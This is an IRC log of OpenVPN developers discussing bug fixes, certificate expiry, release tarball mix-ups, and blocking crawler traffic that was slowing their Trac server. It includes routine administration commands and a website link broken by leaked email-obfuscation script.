v2.4 was noisy, mostly due to our stricter option parser (I'm beginning to wonder if that was a big blunder of us to allow - on the other hand, bad configs are bad configs and it was bad not to complain) 04:40 <@syzzer> dazo: yeah, I think it's good that we did it, but it would have been nicer for the user (though probably ugly in the code...) to first have a version that just warns the user 04:40 <@syzzer> that we can just shout back that the user should have listened to the warnings :p 04:40 <@dazo> yeah 04:40 <@cron2> dazo: it's painful, but we consciously decided to go there... 04:40 <@dazo> absolutely! 04:40 <@syzzer> cron2: not sure if you still have time, but I'm here to discuss NCP stuff 04:40 <@cron2> (and I still think it was ok, nobody reads warning) 04:41 <@cron2> syzzer: could you have a look at #887? 04:41 <@syzzer> trac ... slow ... 04:41 <@cron2> I was cycling earlier this week, and spent time on "is there an easy fix", and the proposed patch seems to do exactly what I thought, just in many more lines than I would have spent :) 04:41 <@cron2> indeed 04:42 <@cron2> (I'm just not sure my approach works, as this whole "TLS reconnect to same context" thing feels confusing) 04:43 <@dazo> mattock: If it is those search engine crawlers killing our Trac .... we need to stop them now, this is getting so bad Trac is barely usable 04:43 <@syzzer> yeah, I'd like to rip that out, but that's going to be intrusive... 04:47 <@syzzer> cron2: your patch is what I had in mind 04:47 * cron2 learned the craft of mind-reading \o/ 04:47 <@cron2> so will it work? ;-) 04:50 <@syzzer> Well, Stefan already confirms that is works :) 04:50 <@cron2> oh? 04:50 <@cron2> trac is sllloowww 04:50 <@syzzer> but even without that, I'd be very confident that it works 04:52 * syzzer added a reply to the ticket, I guess you'll be able to see it in a few hours or so :') 04:52 <@cron2> still waiting for the reload 04:52 <@syzzer> if you send a patch to the list, I'll do final review-test-ack later today 04:53 <@cron2> I see sbehrens' reply now :) 04:56 <@cron2> now I see yours, when I'm nearly finished writing my own comment 04:57 <@cron2> dazo: do you have access to the trac instance and could just iptables-out the most active robots? 05:00 * cron2 dies of old age waiting for trac 05:11 <@cron2> now how tell I vi stop converting spaces to tabs... 05:17 <@dazo> cron2: no, I don't ... but let me check if someone I think have access can make that happen 05:20 <@cron2> #887 has other interesting fallouts - a client with "--tun-persist" and "--user nobody" that reconnects due to a ping timeout will end up seeing "new options pushed, we need to re-initialize tap" (because "cipher AES-256-GCM" is suddenly missing) and then *fail* due to "tap cannot be reopened" (user nobody)... 05:20 * cron2 was made aware of this yesterday 05:22 <@ordex> the user was complaining about peer-id changing, which in turns triggered the "new options pushed" thing 05:22 <@cron2> that's a different one 05:22 <@ordex> oh ok 05:22 <@cron2> (and a bug, fixed in 2.3.<something>, 12-ish or so) 05:23 <@ordex> ah true 05:23 <@cron2> in this case peer-id was the same ("0"), but "cipher" was *missing* - due to #887, and the server refusing to push one 05:39 <@cron2> *grubmle* patch is stuck in sf.net greylisting... need to send moar! 05:44 <@plaisthos> review and ack some patches 05:44 <@plaisthos> :p 05:47 <@plaisthos> but good news, one of google's devs ack my "no aaaa dns lookups" when not native ipv6 connection is available 05:47 <@cron2> \o/ 05:49 <@ordex> :) 05:56 <@dazo> so the bugzilla rant was .... expired CRL :/ 05:57 <@cron2> I can see that this would upset people... but why 2.4.1->2.4.2? coincidence? 05:57 <@plaisthos> damn newer openvpn version actually checking crl validity 05:59 <@dazo> cron2: yeah, seems like a coincidence 05:59 <@dazo> plaisthos: hehehe :) 06:00 <@dazo> I'm surprised we have so few complaints about "my VPN doesn't work, OpenVPN s**k because it complains the server certificate have expired!" 06:02 <@cron2> yeah, it did that to one of my smaller customers a few weeks ago 06:02 <@cron2> they have a VPN box that is only turned-on if they need something, and hadn't needed anything in months... 06:02 <@cron2> ... and then both client and server keys expired... 06:02 <@cron2> ... and then they called, having something "could you please look into..." 06:03 <@dazo> at least that was a polite request ;-) 06:03 <@plaisthos> nah, sometimes in German adding a please makes it a unpolite request 06:03 <@cron2> yeah, but the VPN didn't come up, so I had to drive over a few days later... 06:03 <@plaisthos> Could you *please* take a look into that 06:04 <@cron2> it was polite, until I told them "ugh, VPN is broken, need to come over next monday", then it was somewhat... unhappy 06:05 <@dazo> cron2: on such boxes, you could have them fetch a new certificate over an https link before starting up the openvpn process .... 06:05 <@dazo> "Oh, expired certificate? Reboot it in 5 minutes, and it'll work again." :) 06:05 <@cron2> dazo: I could. I could also learn to really *look* at my calendar entry that says "that cert is going to expire in April, heads up!!" :) 06:06 <@dazo> nah, that involves humans brains ... will work once or twice ;-) 06:06 <@cron2> or just stop using this stuff, and do ssh with -R instead *duck* :) 06:06 <@dazo> heh 06:06 * cron2 is too stupid for certificates, and is proving this again and again 06:08 <@dazo> hmmm ... could be interesting to look at possibility to provide some ACME (letsencrypt) tools around openvpn (or similar) .... where it automatically updates certificates on-the-fly on a schedule, against your own CA instead of letsencrypts 06:08 <@dazo> this issue is a fairly common one though 06:08 <@dazo> ecrist: ^^^ 06:08 <@plaisthos> or letsencrypte certificates ;) 06:08 <@cron2> that would interesting indeed, especially taking CA rollover into account as well 06:10 <@dazo> I'm considering to test out the CA stuff in FreeIPA which I have at home .... it supports generating both server and user certificates ... and through the 'dogtag' tool, it automatically renews certificates before they expire 06:10 <@dazo> user certificates are tied to the LDAP/Kerberos account even 06:10 <@cron2> gcc can do funky things, like "gcc -c openvpn-plugin.h" 06:10 <@cron2> (which nicely reports "error: unknown type 'size_t'") 06:16 <@vpnHelper> RSS Update - gitrepo: Make openvpn-plugin.h self-contained again. <https://github.com/OpenVPN/openvpn/commit/cf9deedf425c945906d5cc482fb962796d21f123> 06:25 * cron2 wonders how we should do Changes.rst for patches that go into master + release/2.4 06:25 <@cron2> "as part of the patch" is painful, as is "do it by hand and do --amend" 06:34 <@syzzer> cron2: yeah. I think we should rethink what Changes.rst in the various branches should look like 06:40 <@vpnHelper> RSS Update - gitrepo: crypto: Enable SHA256 fingerprint checking in --verify-hash <https://github.com/OpenVPN/openvpn/commit/2193d7c08484d56ed07ba2e649abc2d08adcb245> 06:55 <@plaisthos> cron2: that is something I never thought of when introducing that file 06:55 <@plaisthos> maybe add a 2.5 section in changes.rst? 06:55 <@plaisthos> and changes for master go into that and otherwise inthe 2.4 section? 06:56 <@plaisthos> with a bit of luck patches for 2.4/master then apply without manual intervention 07:01 <@cron2> master-only -> 2.5, 2.4/master -> 2.4.x - yes, that would help 07:02 <@plaisthos> and carrying the 2.4 history in the master Changes.rst is actually a good thing as you may use it as reference when certain features became available 07:02 <@syzzer> yeah, I think the master Changes.rst should have all history 07:03 <@syzzer> so each release branch would just miss n (>=1) 'sections' 07:04 <@cron2> syzzer: gah. hard, soft, grmbl. In the client log it says "SIGUSR1[soft..." :) 07:04 <@syzzer> really? wow, that's confusing. 07:05 <@plaisthos> soft signal 07:05 <@plaisthos> as from software 07:05 <@plaisthos> and not from external (aka kill -UR1) 07:05 <@plaisthos> nothing to do with hard/soft reset 07:05 <@cron2> I understand, but that got me confused 07:06 <@syzzer> and it confused me too just now :') 07:06 <@syzzer> I know the crypto / protocol code, not the signal stuff :p 07:06 <@plaisthos> better that way 07:07 <@plaisthos> signal stuff is never ending horror story 07:07 <@syzzer> well, NCP seems to be too... 07:07 <@plaisthos> more and more edge cases :/ 07:08 <@cron2> Selva understands signals, syzzer understands crypto, plaisthos understands sockets. All good :) 07:08 * ecrist looks 07:08 * cron2 looks innocent and blaims all bugs on... *look* !blame 07:08 <@cron2> !blame 07:08 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault, or (#5) if it is crypto blame syzzer and plai for acking 07:09 <@plaisthos> yeah, I acked the one patch that introduced the CVE :( 07:09 <@plaisthos> but I did not see that 07:09 <@cron2> but that was because you beat me to it - it looked reasonable and innocent enough 07:09 <@plaisthos> crypto stuff always does 07:10 <@plaisthos> and if it looks scary it probably okay ;) 07:10 <@ecrist> so, for your certificate rolling goodness to really work (CA/server) you guys will need a way to either 1) support multiple server certs or 2) a graceful way to re-read config/certs/keys without restarted the openvpn server daemon 07:10 <@plaisthos> multiple server cers is going to be tough 07:10 <@plaisthos> unless we implement SNI 07:10 <@ecrist> I think 2 is the better option 07:11 <@ecrist> and I asked about it earlier this week. :) 07:12 <@dazo> ecrist: 2) is really tricky when considering chroots :/ 07:13 <@ecrist> dazo: sure, but it's one of those things that kinda comes with the territory 07:13 <@dazo> yeah, agreed 07:13 <@ecrist> kinda like, I don't expect a rail car for door to door delivery 07:13 <@dazo> heh :) 07:14 * cron2 wouldn't mind a nice monorail close by 07:14 <@ecrist> but, particularly if a server cert is signed by the same CA upon renewal, there's no reason to have to completely restart the server. the TLS stuff should just renegotiate and carry on 07:15 <@ecrist> https://www.youtube.com/watch?v=ZDOI0cq6GZM 07:17 <@cron2> hrhr 07:19 <@cron2> trac is sloowwww... ecrist: can you add iptables (or whatever reject rules) to the trac server to block out the crawlers that are killing it? 07:19 <@dazo> mattock: ^^^ 07:19 <@ecrist> I think so. 07:19 <@cron2> mattock is hiding :( 07:19 <@ecrist> if you can give me the iptables commands 07:20 <@cron2> I have no insight how the thing is set up, so maybe block it in apache instead? 07:20 <@cron2> iptables *if enabled* would be something like 07:21 <@cron2> iptables -I INPUT -s $badsource -j DROP 07:21 < slypknot> iptables -A INPUT -s source-ip-of-problem -j DROP 07:21 < slypknot> lol sorry 07:21 < slypknot> just took over a minute to load 887 07:21 <@cron2> "-I" inserting before anything, -A appending at the end - so there might be a "permit" before the end... 07:21 <@dazo> on the internal company chat, mattock said he believes the aws is too small for todays needs, and it needs to be scaled 07:22 <@dazo> seems to be lots of users too these days 07:22 <@cron2> dazo: if you can find someone who will insert the necessary coin into AWS, works for me... :-) - whatever it takes 07:22 <@dazo> mattock is already on it, I believe :) 07:24 <@vpnHelper> RSS Update - gitrepo: Fix NCP behaviour on TLS reconnect. <https://github.com/OpenVPN/openvpn/commit/5634cecf71ee9a92227bc9c8414c614d1b741abb> 07:25 <@plaisthos> btw. Android O has an important feature for VPNs 07:25 <@cron2> ? 07:25 <@plaisthos> a checkbox that says [x] Only allow traffic via VPN and the OS will ensure that no traffic leaves the device that does not go over the VPN 07:26 <@cron2> that is cool. How does it know that openvpn is special? 07:26 <@plaisthos> you have to designate a VPN app as "always-on" app 07:26 <@cron2> ic 07:29 <@ecrist> I don't see a ton of open connections on that box, to be honest 07:30 <@cron2> what does top etc. suggest why it's so slow? 07:30 <@ecrist> well 07:30 <@ecrist> top - 12:24:09 up 198 days, 20:08, 2 users, load average: 10.14, 11.60, 10.0 07:30 <@ecrist> and the killer *is* apache 07:33 <@ecrist> root@community:/var/log/apache2# cat ssl_access.log | awk '{print $1}' | sort | uniq -c | sort -r | head -n 20 21222 62.138.14.33 07:33 <@ecrist> that didn't wrap right 07:33 <@ecrist> that one IP has 21,222 requests 07:33 <@cron2> that does not look right, it's just a hosted VM somewhere 07:34 <@plaisthos> it has port 31337 open 07:34 * ecrist tries sorting by class c 07:35 <@ecrist> plaisthos: I don't see anything listening on the VM to 31337 07:36 <@plaisthos> telnet 62.138.14.33 31337 07:36 <@plaisthos> Trying 62.138.14.33... 07:36 <@plaisthos> Connected to loft24030.serverprofi24.de. 07:36 <@plaisthos> Escape character is '^]'. 07:36 <@ecrist> oh, that one 07:36 <@ecrist> not our VM 07:36 <@plaisthos> no 07:36 <@cron2> I think we should just nuke that one, and see what happens 07:36 <@plaisthos> yeah 07:36 <@ecrist> it's not active at the moment 07:37 <@ecrist> our current culprit is 117.0.98.187 07:38 <@ecrist> which interestingly resolves to "localhost" 07:38 <@plaisthos> 187.98.0.117.in-addr.arpa domain name pointer localhost. 07:38 <@plaisthos> very evil 07:38 <@cron2> why can I add "versions" to trac, but not "milestones" 07:39 <@ecrist> I'll nuke that hoster for now 07:39 <@cron2> 117.0.98.187 claims to be in vietnam... 07:39 <@cron2> and they *love* "localhost" - try tracerouting, all routers are localhost too 07:39 <@plaisthos> yeah jsut did that 07:39 <@plaisthos> localhost all the way 07:40 <@plaisthos> probably a secuirty feature 07:43 <@ecrist> load is dropping on that box 07:43 <@cron2> thanks 07:43 <@ecrist> we're down to 4.17 07:43 <@ecrist> it would help if trac wasn't such a beast, though 07:46 <@dazo> perhaps we need to start considering a replacement to Trac? ... project hosted gitlab instance ... or something like that, more modern and relevant for our needs of today and tomorrow 07:47 <@dazo> after all, our trac instance is from 2010 or so 07:50 <@cron2> why are developers always migrating bugtrackers... @work they migrated from trac to redmine to youtrack now... 07:50 <@cron2> trac is dumb, but mostly "works for me"... 07:51 <@plaisthos> need to procranstinate somehow without doing non work stuff! 07:52 <@dazo> I think one of trac's biggest issues ... it is trying to too much ... wiki, bugtracker, source viewer, project planning 07:52 * cron2 is afk for ~1-2 hours -> dentist with the kids 07:52 <@cron2> (just checkup) 07:52 <@cron2> working on trac 890 patches now, don't commit stuff in between :) 07:54 <@ecrist> so, from a community perspective, we could consider atlassian stuff 07:54 <@ecrist> they provide free open source licenses 07:54 <@ecrist> I have familiarity with administration 07:58 <@dazo> but we try to avoid depending on a hosted service for our bug tickets, etc .... to ensure we don't loose anything and can keep valid URL pointers and ticket references in the git log 07:58 <@ecrist> we don't have to use a hosted service - we can host jira internally ourselves. 07:59 <@ecrist> it's just a thought. 07:59 <@dazo> jira, is that open source? 07:59 <@ecrist> no, it's an atlassian product 07:59 <@ecrist> it's their bug tracker 07:59 <@mattock> hosted JIRA is slow like a pig 07:59 <@mattock> we use it internally 07:59 <@dazo> yeah 07:59 <@ecrist> not hosted, on prem 07:59 <@ecrist> we use it here, internally, as well 07:59 <@mattock> it is still a pig unless you give it a dedicated server :P 08:00 <@ecrist> ours is a VM, so I'm not sure 08:00 <@ecrist> I suspect we have more users than you, too. :P 08:00 <@mattock> anyways, I don't think moving away from Trac is really worth the effort, unless there is something horribly wrong with the workflow 08:00 <@mattock> we can always make it go faster 08:00 <@ecrist> no, it just cropped up. it's being a bear this morning (freedom time) 08:00 < slypknot> as soon as ecrist killed that ip trac sprang back to life .. 08:01 <@ecrist> load is still at ~4.5 08:01 <@ecrist> so, it was cut in half. 08:01 <@ecrist> and I killed that entire /13, not just that IP 08:01 <@ecrist> mattock: FYI, it's in deny rule in trac-openvpn config file 08:03 < slypknot> sounds like a far east ddos ? 08:03 <@ecrist> ddos, not likely on purpose 08:03 < slypknot> kim jong un .. ? 08:03 <@ecrist> vietnam 08:04 < slypknot> oh right 08:05 < slypknot> even so resolving to "localhost" sounds like a deliberate decision by someone 08:11 < slypknot> ecrist: mattock .. an interesting approval request on the forum .. please take a look "different file versions for 2.3.15 ..." 08:12 < slypknot> no rush obv 08:16 <@dazo> slypknot: we've managed to mess up the 2.3.15 tarballs badly ... we're going to release 2.3.16 with a few extra fixes as well 08:17 <@dazo> (and I'm almost done with a "generate release tarballs" script .... to avoid this mess once again) 08:18 < slypknot> dazo: thanks .. would you mind explaining that on the forum .. so i don't make the mess worce :) 08:18 <@dazo> url? 08:20 < slypknot> oh .. do you mind making the problem public on the forum, if so i'll ok the request , if not this is why i was asking for advice. 08:20 < slypknot> https://forums.openvpn.net/mcp.php?i=queue&mode=approve_details&f=30&t=24129 08:20 <@vpnHelper> Title: OpenVPN Support Forum - Moderator Control Panel - Login (at forums.openvpn.net) 08:21 <@dazo> slypknot: I'll take care of it! 08:21 < slypknot> tyvm :) 08:28 <@cron2> there's also the cc: to openvpn-devel from m-a this morning, referencing the freebsd bug... 08:31 <@dazo> patch with a script is on the way to the ML right now 08:32 <@dazo> (And I do hope I have managed to avoid bashism this time) 08:34 <@dazo> cron2: mattock and I briefly discussed that as of the next release, we should use the security@o.n key for the signing of tarballs 08:45 * dazo heads out for some hours 09:06 <@ordex> dazo: kudos for dev-tools/gen-release-tarballs.sh :) 10:00 <@dazo> :) 10:34 <@plaisthos> *sigh* One of the major VPN providers runs 2.4 on its servers, pushes peer-id to the client and when the client actually roams between lte and wifi it drops the connection 10:38 <@cron2> dazo: works for me 10:38 <@cron2> plaisthos: impressive 10:40 <@plaisthos> I suspect some proxy in front since my test and also the log of the user both show peer-id 0 10:44 * dazo wonders who would go first mad ... an OpenVPN developer digging into D-Bus .... or a D-Bus developer digging into OpenVPN 10:45 <@dazo> documentation is truly scarce on how to use it ... unless you understand well all the frameworks it is developed under ... like glib 10:45 <@cron2> shall we make this a competition at the next hackathon? invite a d-bus guy over? 10:45 <@dazo> hahaha .... that'd be a good one! 10:46 <@dazo> or ... how to _use_ d-bus is quite well defined and documented .... but how to _implement_ it is scarce 10:47 <@dazo> One of james' suggestions was to use swig and enable OpenVPN 3 to Python this way .... and to everything in Python ...... 10:59 <@cron2> dazo: for a nice shell trick, try echo `git remote` 10:59 <@cron2> note the *lack* of double quotes here 10:59 <@cron2> (but it's prone to wildcard expansion should you have a remote named "*", so your approach is safer) 11:05 <@cron2> mattock: why can I not add milestones, but everything else? Or, in other words, could you please add milestone 2.4.3, 2.4.4, 2.4.5? 11:13 <@vpnHelper> RSS Update - gitrepo: Avoid a 1 byte overcopy in x509_get_subject (ssl_verify_openssl.c) <https://github.com/OpenVPN/openvpn/commit/3fbc9d2b1b1e75b227107057b92ce6b786b5bea1> 11:17 <@cron2> hrmph... #884... 11:35 <@mattock> cron2: I can grant you the permissions to do it 12:10 <@cron2> that would be the most easy way :) 12:48 <@cron2> dazo: are you still there? 13:44 <@vpnHelper> RSS Update - gitrepo: Fix gateway detection with OpenBSD routing domains <https://github.com/OpenVPN/openvpn/commit/3dd30bfe5fdf9f34afe7f847b4e30156982d9ff0> 14:34 <@dazo> cron2: heh, nice! Well, syzzer have commented my often lacking quoting, so I'm doing my best to fly under his sensitive shell radar :-P 14:34 <@dazo> The reason I don't use 'set -eu', just 'set -u' is also due to the error checking I to quite regularly 14:34 <@dazo> cron2: I'm here now 15:38 <@cron2> dazo: see security@ list - mattock is asking for tarballs :) 15:39 <@cron2> I have tested, tagged and pushed 2.3.16 :) 15:50 <@dazo> hehe ... do I dare? :-P 15:51 <@cron2> you could test-run your script :) 15:51 <@dazo> :) 16:05 <@dazo> cron2: here's how it looks like :) https://paste.fedoraproject.org/paste/4NTL76WCtH2OjxnmOYbai15M1UNdIGYhyRLivL9gydE= 16:06 <@cron2> nice 16:06 <@dazo> uploading the tarbundle to our sec-audit file share now 16:06 <@cron2> (why are we generating a .zip file...?) 16:06 <@dazo> windows 16:06 <@dazo> that's what I've been told, at least :) 16:07 <@cron2> I'm fairly sure 7zip can unpack .tar.gz just fine :) - and "who downloads a source tarball towards windows"? But anyway, if it's all automated, whatever 16:07 <@dazo> yeah, that's what I was thinking too ... it's just one more 'make dist-zip' :) 16:08 <@cron2> right. 16:08 <@cron2> now to bed! 16:08 <@dazo> g'night! 16:42 < m-a> tar -xzvf also works on Cygwin :-) 20:03 <@ordex> aloha 20:33 < slypknot> eh up :) 20:42 < slypknot> ordex: https://community.openvpn.net/openvpn/ticket/636 20:42 <@vpnHelper> Title: #636 (Add IPv6 Support to packet filter (please)) – OpenVPN Community (at community.openvpn.net) 20:42 < slypknot> one day .. may be 20:46 <@ordex> slypknot: the code was complete - we had troubles deciding how to handle certain things ... 20:47 < slypknot> ordex: yes .. i have been imptroving my git foo .. we could try to pick it up again 20:47 < slypknot> pnce the 2.4 dust settles 20:47 < slypknot> once* 20:48 <@ordex> yeah :) 20:48 < slypknot> cool :) 20:48 <@ordex> I am all for that 20:49 < slypknot> i dont want to rush it because it was more difficult than it seemed 20:50 < slypknot> but i am ready to try again 20:52 < slypknot> i think the ipv4 version needs a bug fix as well because it alwayys throws the error: [END] not found 20:53 < slypknot> not sure if that was openvpn or the original auther of the basic fw plugin 21:00 < slypknot> ordex: i'm gone now .. have a good day 21:00 <@ordex> good night :) 21:00 <@ordex> slypknot: we can bring it up again later 22:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Fri May 19 2017 00:48 <+krzee> somebody on 2.4.0 said that when he used proto udp he could not connect to his ipv6 ip, but with proto udp6 he was able to... i told him to upgrade to 2.4.2 and try again and then report it to trac 00:48 <+krzee> he said that his debian couldnt update it yet because of a code freeze, but that he would do it after 00:51 <@ordex> krzee: IIRC proto udp will use what the system provides first when trying to bind a socket. with proto udp6 it will use an ipv6 socket which "should"[tm] be dual stack when listening on :: 00:51 <@ordex> but I might be wrong. cron2 should remember better than me 01:22 <@cron2> on the *client* side, "udp" will do "whatever is in DNS" 01:23 <@cron2> on the *server* side, it depends on OS - in doubt, use udp6 to get dual-stack 01:31 <@mattock> cron2: you now have trac admin right (e.g. to create new milestones, versions, etc.) 01:32 <@cron2> versions I already could 01:33 <@cron2> ah, now I have "full admin" :) 01:35 <+krzee> oh udp6 is dual not just ipv6, i misunderstood 01:35 <+krzee> so theres no way to bind to ipv6 only? 01:35 <@cron2> yes :) - "--proto udp6 --bind ipv6only" 01:36 <@cron2> dual-stack sockets are icky 01:37 <+krzee> thank you sir 01:38 <+krzee> good to know 01:38 <+krzee> i dont udse ip6 but plenty of people in the main chan do 01:58 <+krzee> not sure why but i expected upd to be both, udp4 to be ip4 only and udp6 to be ip6 only 02:21 <@cron2> getaddrinfo() is a bit weird across platforms... 02:35 <@mattock> does anyone have lzo-2.10.tar.gz available? 02:36 <@mattock> http://www.oberhumer.com/opensource/lzo/download/lzo-2.10.tar.gz is down 02:36 <@mattock> the whole server afaics 02:43 <@cron2> mmmh, I have 2.06, 2.08 and 2.09... lemme search further 02:44 <@cron2> that box has 2.02, 2.04, 2.06, 2.08 and 2.09 in its distfiles/ *grumble* 02:44 <@mattock> ah, the bliss 02:44 <@mattock> I found it from our Windows "buildslave" 02:44 <@mattock> I will temporarily point the build to lzo-2.10.tar.gz on build.openvpn.net 02:45 <@cron2> solved :) 02:45 <@mattock> I will add the "sources" directory to the backups I take from the build server, just in case 02:45 <@mattock> this is the second time this has happened I believe 02:46 <@cron2> gentoo is still at 2.09... but FreeBSD moved to 2.10, and has a distcache for "original server disappeared" 02:46 <@cron2> http://distcache.FreeBSD.org/ports-distfiles/lzo-2.10.tar.gz 02:46 <@cron2> jftr 02:47 <@cron2> huh... oberhumer.com gone from dns 02:48 <@mattock> interesting 02:50 <@mattock> windows builds started, debian next 03:54 <@cron2> mattock: https://openvpn.net/index.php/open-source/downloads.html seems to still reference the wrong 2.3.15 tarball, at least "from some places" - see openvpn-devel list 03:54 <@vpnHelper> Title: Downloads (at openvpn.net) 04:13 <@mattock> cron2: 2.3.16 is almost ready to go out 04:13 <@mattock> I will push stuff to apt repos and wrap up the announcements 04:13 <@mattock> then we're good to go 04:15 <@cron2> cool :-) - we still need to ensure bad 2.3.15 tarballs get flushed out when we encounter them 04:15 <@mattock> I can retry clearing cloudflare caches for them 04:16 <@mattock> what are the correct sha1sums for 2.3.15 tarballs? 04:16 <@mattock> I only verified that all places (david's owncloud, build, swupdate) have the same stuff 04:16 <@mattock> "same" does not necessary mean "good" 04:17 <@mattock> I could publish the hashes for the "good" tarballs in 2.3.16 release announcement 04:30 <@mattock> https://openvpn.net/index.php/download/community-downloads.html 04:30 <@vpnHelper> Title: Community Downloads (at openvpn.net) 04:33 <@mattock> purged 2.3.15 tarballs/installers/signatures from CloudFlare caches again 04:41 <@mattock> release done 04:41 <@syzzer> \o/ 04:43 <@ordex> <o 04:46 <@cron2> mattock: dazo wanted to re-roll 2.3.15 tarballs (because even the "correct" one was full of eels), so these should then be pushed and sha1'ed, and so on 04:46 <@cron2> on the two candidates we have now, the "bigger one" is "the good one" 04:47 <@cron2> and thanks :) 04:48 <@mattock> hmm, so many eels going about 04:48 <@mattock> lunch 05:03 * cron2 grumbles under his beard about a new router shipping openvpn 2.3.7 "compiled in April 2017"... what are these people smoking 05:34 <@ordex> they might be backporting important bugfixes though 05:37 <@mattock> possibly 05:37 <@mattock> or just shipping whatever they used initially as-is 05:38 <@mattock> so with dazo's reroll of 2.3.15 tarballs we'd have four different 2.3.15 tarballs floating around 05:38 <@mattock> - original pre-release without the security fix 05:38 <@mattock> - the first release tarball with temp crap in it 05:38 <@mattock> - the second release tarball without temp crap in it (but some eels) 05:38 <@mattock> - the "correct" tarball without eels and with the fixes 05:38 <@mattock> we will need a "Choosing your 2.3.15 tarball" guide for our users 05:38 <@mattock> :P 06:00 <@syzzer> mattock: seems like Jonathan is asking for just that on the mailing list :p 06:29 < slypknot> is there a way to determine what client subnets are behind which client other than with config files ? I mean, it could be useful to have --iroute's in --status or something like that .. 06:33 <@ordex> mh like a dump of the internal routing table 06:36 < slypknot> yes 06:37 < slypknot> in --topology net30 the route to remote subnets only shows as ifconfig remote (eg .2) from server route 06:37 < slypknot> have not checked in --topology subnet 06:37 < slypknot> ^^ may be wish list 06:40 <@cron2> it's in status file 06:43 * slypknot is waiting for status to update 06:44 <@dazo> syzzer: yeah, new version is needed ... but for those digging up the history some point later ... or want to do regression testing ... having a public and correct 2.3.15 is not a bad thing 06:44 <@dazo> the alternative is to remove it all together 06:45 <@dazo> But we can't have the crappy stuff floating around 06:45 <@cron2> new version, and full writeup "which tar balls have been out there, what are their sha1 sums, and what eels are in" 06:45 <@dazo> yupp ... and with the 2.3.16 released along side, for the latest fixes 06:46 <@cron2> the *good* thing is that the public git tag was always correct :) 06:46 <@dazo> yes :) 06:47 * dazo had to double check the git tag .... against git shortlog v2.3.14..v2.3.15 06:53 < slypknot> cron2: yes it is in status .. but now I have this: 192.168.101.1C,cli.deb8.vbox,86.x.x.194:55148,Fri May 19 12:44:35 2017 06:53 < slypknot> 192.168.101.1C <- C ? 06:53 <@dazo> slypknot: ensure you have the right --status-version 06:54 <@plaisthos> does anyone now if the pings in openvpn are answered or do both sides just regulary send pings? 06:54 <@plaisthos> I am consider to do a set ping to 5s interval 30s timeout after network change but that won't work if cannot force a response from the server 06:55 < slypknot> plaisthos: I believe both sides send but they are not repplied 06:55 <@plaisthos> ah crap 06:55 <@plaisthos> just what I feared 06:57 < slypknot> so status file "192.168.101.1C etc" .. is that C meant to be there ? 07:08 <@dazo> slypknot: which version of the status file? There are three ... 07:09 <@dazo> (it would also help to see the complete status file, not just a single line ... to see the whole context) 07:10 < slypknot> dazo: status ver 1 07:10 < slypknot> that line is a learned target .. the --iroute has the entire /24 subnet 07:10 < slypknot> ie: 07:11 <@dazo> so this is in the "ROUTING TABLE" section of the status file? 07:12 <@dazo> header should be: "Virtual Address,Common Name,Real Address,Last Ref" 07:12 <@dazo> (just trying to ensure I look at the right code) 07:12 <@dazo> I think I have it ... 07:12 < slypknot> that is the correct header 07:12 <@dazo> if (route->flags & MULTI_ROUTE_CACHE) 07:12 <@dazo> { 07:12 <@dazo> flags[0] = 'C'; 07:12 <@dazo> } 07:12 <@dazo> status_printf(so, "%s%s,%s,%s,%s", 07:13 <@dazo> mroute_addr_print(ma, &gc), 07:13 <@dazo> flags, 07:13 <@dazo> ouch ... odd formatting 07:13 <@dazo> but regardless 07:13 < slypknot> ah .. C for cache 07:13 <@dazo> yeah :) 07:13 < slypknot> tyvm :) 07:13 <@dazo> whatever MULTI_ROUTE_CACHE implies ... :-P 07:14 < slypknot> I was scratching my head trying to work out what C could mean .. so thanks 07:21 <@dazo> yw! 07:35 <@dazo> mattock: have you uploaded the last openvpn-2.3.15 tarballs I also uploaded to our file share? 07:35 <@dazo> *that* is the correct ones 07:35 <@dazo> and it have the proper sha256 checksums too 07:35 <@dazo> I'll respond to Jonathans mail with exactly those checksums 08:23 <@cron2> slypknot: you want status 2 or status 3 - the "default" is mixing routes and client IPs together, IIRC 08:27 <@cron2> dazo: your mail confuses me - it has 3 SHA256 sums, but no explanation which tarball is what? not all "official" tarballs are *good*... what am I missing here? 08:27 <@cron2> ah 08:28 <@cron2> that's the 3 sums for the new, final, official and everything 2.3.15 tarballs, and you prefer not to mention anything else :-) - ok 08:35 <@dazo> yes, exactly .... should I make that clearer in the mail? 08:35 * dazo builds 2.3.16 for F-24 now 08:41 < slypknot> cron2: I am good with it now thanks for your help :) 08:41 <@cron2> I somewhat expected a mail that lists the sha1 for the tarballs that have been floating around, with explanation what is in there, what is missing, why the tarball i question is not good - but "these are good, everything else is full of eels" is good enough 08:49 <@dazo> :) 09:39 <@ordex> dazo: somebody else found the funny link on the website 09:48 < slypknot> https://openvpn.net/index.php/open-source/documentation/sig.html 09:48 <@vpnHelper> Title: File Signatures (at openvpn.net) 09:48 <@dazo> that's right 09:48 <@dazo> already reported internally 09:48 < slypknot> https://swupdate.openvpn.net/community/keys/%20%3Cscript%20type='text/javascript'%3E%20%3C!--%20var%20prefix%20=%20'ma'%20+%20'il'%20+%20'to';%20var%20path%20=%20'hr'%20+%20'ef'%20+%20'=';%20var%20addy49593%20=%20'security'%20+%20'@';%20addy49593%20=%20addy49593%20+%20'openvpn'%20+%20'.'%20+%20'net'%20+%20'.'%20+%20'key'%20+%20'.'%20+%20'asc';%20document.write('%3Ca%20'%20+%20path%20+%20'/''%20+%20pref 09:48 < slypknot> ix%20+%20':'%20+%20addy49593%20+%20'/'%3E');%20document.write(addy49593);%20document.write('%3C//a%3E');%20//--%3E/n%20%3C/script%3E%3Cscript%20type='text/javascript'%3E%20%3C!--%20document.write('%3Cspan%20style=/'display:%20none;/'%3E');%20//--%3E%20%3C/script%3EThis%20email%20address%20is%20being%20protected%20from%20spambots.%20You%20need%20JavaScript%20enabled%20to%20view%20it.%20%3Cscript%20type= 09:48 < slypknot> 'text/javascript'%3E%20%3C!--%20document.write('%3C/');%20document.write('span%3E');%20//--%3E%20%3C/script%3E 09:48 < slypknot> ie carumba ! 10:00 < Thermi> (ctrl+w'd wrong window) 12:39 <@ecrist> lol 12:52 <@mattock> key issue fixed 12:52 <@mattock> Joomla 